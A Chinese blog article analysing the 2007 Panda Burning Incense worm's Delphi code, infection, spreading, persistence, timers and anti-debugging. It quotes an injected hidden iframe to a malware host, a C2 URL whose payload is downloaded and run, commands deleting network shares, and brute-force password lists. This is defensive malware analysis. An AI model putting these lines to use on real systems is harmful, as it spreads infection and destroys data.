news 2026/7/11 19:17:10

熊猫烧香病毒逆向分析:Delphi 6.0 程序 3 大核心模块与 4 个计时器行为详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
熊猫烧香病毒逆向分析:Delphi 6.0 程序 3 大核心模块与 4 个计时器行为详解

熊猫烧香病毒逆向工程深度解析:Delphi 6.0下的模块化架构与定时触发机制

2007年初,一只"熊猫"席卷了中国互联网。这只举着三炷香的熊猫图标背后,隐藏着一个精巧设计的恶意程序架构。作为中国网络安全史上具有里程碑意义的恶意软件,熊猫烧香病毒展现出了惊人的传播能力和破坏性。本文将采用逆向工程的视角,深入剖析这款用Delphi 6.0编写的病毒样本,揭示其模块化设计思想和多线程计时器机制的实现细节。

1. 病毒基础架构与Delphi特性分析

熊猫烧香病毒采用典型的模块化设计,整个程序可划分为三个核心功能组件:感染模块、传播模块和持久化模块。这种架构设计使得病毒能够高效执行各类恶意行为,同时保持代码的可维护性和扩展性。

Delphi编译器的独特特征在逆向分析过程中尤为明显。与常见的C++程序不同,Delphi采用寄存器传参的调用约定:

// Delphi典型函数调用示例 mov eax, param1 // 第一个参数放入eax mov edx, param2 // 第二个参数放入edx mov ecx, param3 // 第三个参数放入ecx call sub_403C98 // 调用函数

这种传参方式给逆向分析带来了特殊挑战。在IDA Pro中观察到的函数调用往往缺少明显的参数传递痕迹,需要结合动态调试才能准确理解函数功能。

病毒初始化阶段包含几个关键操作:

  1. 内存空间分配(LocalAlloc调用)
  2. 字符串解密操作(XOR循环)
  3. 自校验机制(字符串比较)

特别值得注意的是病毒采用的双层密钥校验机制:

  • 第一层密钥:"xboy"(解密出"武汉男生感染下载者")
  • 第二层密钥:"whboy"(武汉男孩的拼音缩写)

这种设计既是对作者身份的标识,也是一种简单的反分析手段。在动态调试过程中,我们可以在0x004053CC地址处设置断点,观察字符串解密的完整过程。

2. 三大核心模块实现原理

2.1 感染模块工作机制

感染模块是病毒最具破坏性的部分,其工作流程可分为四个阶段:

  1. 文件遍历阶段

    • 调用GetDriveType从A:到Z:遍历所有可用驱动器
    • 使用FindFirstFile/FindNextFile组合搜索目标文件
  2. 文件类型识别阶段

    cmp [file_extension], 'GHO' ; 系统备份文件 je DELETE_FILE cmp [file_extension], 'EXE' ; 可执行文件 je INFECT_FILE cmp [file_extension], 'HTML' ; 网页文件 je INJECT_CODE
  3. 感染执行阶段

    • 对于可执行文件:检查"WhBoy"感染标记→修改文件属性→覆盖写入病毒代码
    • 对于网页文件:追加<iframe src=http://www.krvkr.com/worm.htm width=0 height=0>
  4. 自我保护阶段

    • 修改注册表隐藏系统文件(CheckedValue=1)
    • 删除安全软件的启动项和服务

该模块特别针对.gho备份文件进行删除操作,这是其破坏性的重要体现——阻止系统恢复的可能性。在逆向过程中,可以在0x0040BB5C地址处观察到完整的文件操作逻辑。

2.2 传播模块网络行为

传播模块实现了局域网和互联网两个层面的扩散能力:

局域网传播机制

  1. 通过139/445端口尝试SMB连接
  2. 使用预置的弱密码字典进行暴力破解
    • 常见密码包括:admin、123456、password等
  3. 成功连接后复制病毒本体并执行

互联网传播机制

  1. 定时访问C2服务器(http://wangma.9966.org/down.txt)
  2. 下载并执行恶意payload
  3. 通过感染的网页文件进行二次传播

网络行为分析中,Process Monitor可捕获到以下关键事件:

  • TCP连接建立(目标端口139/445)
  • 注册表查询(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters)
  • 文件创建(\Windows\system32\drivers\spoclsv.exe)

2.3 持久化模块实现

持久化模块确保病毒能够在系统重启后继续存活,主要手段包括:

持久化方法实现细节注册表位置
启动项添加创建spoclsv.exe副本HKCU\Software\Microsoft\Windows\CurrentVersion\Run
文件关联劫持修改.exe文件默认打开方式HKCR\exefile\shell\open\command
服务安装创建伪系统服务HKLM\SYSTEM\CurrentControlSet\Services
隐藏属性设置修改文件系统属性通过SetFileAttributesA实现

该模块还包含对抗安全分析的功能:

  • 禁用任务管理器(修改注册表DisableTaskMgr)
  • 关闭安全软件进程(通过EnumProcesses和TerminateProcess)
  • 阻止注册表编辑器运行(重命名regedit.exe)

在逆向分析时,可以在0x0040CC40地址处观察到完整的持久化代码逻辑,其中注册表操作主要通过以下API序列实现:

RegCreateKeyExA → RegSetValueExA → RegCloseKey

3. 多计时器调度系统分析

熊猫烧香病毒采用了精密的计时器系统来协调各种恶意行为,四个主要计时器构成了其"心跳"机制:

3.1 实时防护破坏计时器(间隔1秒)

  • 创建专用线程枚举并终止安全软件进程
  • 关键函数调用流程:
    call CreateToolhelp32Snapshot call Process32FirstW call lstrcmpiW ; 比对进程名 call TerminateProcess
  • 同时禁用系统管理工具(taskmgr.exe, regedit.exe等)

3.2 远程控制计时器(间隔20分钟)

  • 从C2服务器下载新指令
  • 网络通信流程:
    1. InternetOpenA初始化
    2. InternetOpenUrlA获取down.txt
    3. InternetReadFile读取内容
    4. WinExec执行下载的脚本

3.3 共享清除计时器(间隔10秒)

  • 执行cmd命令删除网络共享:
    net share C$ /delete net share D$ /delete
  • 通过CreateProcessA启动cmd.exe执行命令

3.4 深度持久化计时器(间隔6秒)

  1. 检查自身副本是否存在
  2. 验证注册表启动项完整性
  3. 修复可能被安全软件破坏的组件

计时器系统的实现依赖于Delphi的TTimer组件,在逆向代码中表现为对SetTimer的调用。每个计时器回调函数都经过精心设计,确保即使某个线程被终止,其他功能仍能继续运行。

4. 逆向工程实战技巧

分析熊猫烧香这类多线程恶意软件时,传统的静态分析方法往往力不从心。以下是几个实用的逆向技巧:

4.1 动态调试策略

  1. 关键断点设置

    • 计时器回调入口点(如0x0040BB5C)
    • 文件操作相关API(CreateFileA, WriteFile)
    • 注册表操作序列(RegOpenKeyExA, RegSetValueExA)
  2. 线程控制技巧

    # IDAPython脚本示例:标记所有计时器回调函数 for addr in [0x0040BB5C, 0x0040BC20, 0x0040BD00, 0x0040BE10]: set_name(addr, "TimerCallback_%X" % addr) add_bpt(addr)

4.2 Delphi程序特有模式识别

  1. 异常处理框架

    • Delphi使用特殊的SEH结构
    • 在IDA中识别为@__InitExceptBlockLDTC
  2. 字符串操作特征

    • 频繁使用MOVSB/STOSB指令
    • 字符串长度通常存储在ECX寄存器
  3. 类方法调用

    • 通过EAX传递this指针
    • 调用前会有mov eax, [ebp+var_XX]操作

4.3 对抗反分析技术

熊猫烧香采用了几种简单的反调试手段:

  1. 时间差检测

    call GetTickCount mov [ebp+var_4], eax ; 执行一些操作 call GetTickCount sub eax, [ebp+var_4] cmp eax, 1000 ; 如果执行时间过长,可能是单步调试 jg AntiDebug
  2. 进程枚举检查

    • 查找ollydbg.exe、idaq.exe等进程名
    • 使用CreateToolhelp32Snapshot遍历进程列表
  3. 调试寄存器检测

    mov eax, [fs:30h] ; PEB mov al, [eax+2] ; BeingDebugged test al, al jnz DebuggerFound

在实际分析中,可以通过修改关键跳转或NOP掉检测代码来绕过这些保护。例如,将0x004053E8处的JNZ指令改为NOP,可以跳过重要的解密检查。

熊猫烧香病毒虽然技术层面不算复杂,但其模块化设计和多线程实现方式为后续恶意软件提供了参考模板。通过逆向分析这类历史样本,安全研究人员能够更好地理解恶意软件的演化趋势,为现代威胁检测提供思路。在分析过程中,结合静态反汇编与动态调试,逐步构建出完整的病毒行为画像,这种分析方法至今仍是恶意软件研究的核心方法之一。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/11 19:16:26

dsPIC33 8MHz晶振PLL配置实战:从120MHz Fosc到4ms定时器中断验证

dsPIC33 8MHz晶振PLL配置实战&#xff1a;从120MHz Fosc到4ms定时器中断验证在嵌入式系统开发中&#xff0c;精确的时钟配置是确保系统稳定运行的关键。对于dsPIC33系列单片机而言&#xff0c;合理配置PLL模块不仅能提升系统性能&#xff0c;还能为实时控制任务提供精准的时间基…

作者头像 李华
网站建设 2026/7/11 19:15:06

Vue 3 响应式双雄:ref 与 reactive 完全指南

前言 在 Vue 3 的 Composition API 中&#xff0c;ref 和 reactive 是最核心的两个响应式 API。几乎每个 Vue 3 组件都离不开它们。然而&#xff0c;很多开发者在实际使用中仍然困惑&#xff1a; ref 和 reactive 到底有什么区别&#xff1f;为什么 ref 要 .value&#xff0c…

作者头像 李华
网站建设 2026/7/11 19:14:32

BiSheng-Adoptium与标准OpenJDK对比:10个关键性能优势详解

BiSheng-Adoptium与标准OpenJDK对比&#xff1a;10个关键性能优势详解 【免费下载链接】BiSheng-Adoptium BiSheng JDK project files on Adoptium 项目地址: https://gitcode.com/openeuler/BiSheng-Adoptium 前往项目官网免费下载&#xff1a;https://ar.openeuler.or…

作者头像 李华
网站建设 2026/7/11 19:14:20

影刀RPA Terraform IaC自动化:基础设施配置管理

影刀RPA Terraform IaC自动化&#xff1a;基础设施配置管理 作者&#xff1a;林焱 什么情况用什么 运维团队管理着几十台云服务器、几个VPC、一堆安全组规则&#xff0c;每次扩容或改配置都要登录云控制台一个个点——手酸不说还容易点错。用Terraform声明式管理基础设施是正道…

作者头像 李华
网站建设 2026/7/11 19:14:19

猫抓资源嗅探扩展:3步掌握浏览器媒体下载的终极指南

猫抓资源嗅探扩展&#xff1a;3步掌握浏览器媒体下载的终极指南 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 您是否经常遇到心仪的视频无法下载…

作者头像 李华